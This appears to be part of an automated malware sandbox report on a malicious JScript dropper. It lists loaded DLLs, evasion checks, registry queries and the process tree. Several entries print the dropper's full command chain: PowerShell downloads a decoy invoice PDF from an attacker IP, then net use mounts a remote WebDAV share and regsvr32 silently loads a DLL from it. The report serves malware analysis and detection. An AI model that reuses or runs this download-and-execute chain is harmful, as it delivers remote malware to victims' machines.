Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5992.js.csv");ITextStream.WriteLine(" entry:7803 f:smacil");ITextStream.WriteLine(" exec:2 f:smacil");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49712

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5186			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4675			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6500	Thread sleep count: 5186 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6196	Thread sleep count: 4675 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2488	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5820	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 2328	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4904	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2205216387.000001F761BC0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2202488754.000001F761BC0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2204782897.000001F761B58000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2203004829.000001F761BC0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3442046749.0000015B73A54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.3440627713.0000015B6E42B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW l
Source: net.exe, 00000007.00000002.2205216387.000001F761BC0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2202488754.000001F761BC0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2203004829.000001F761BC0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
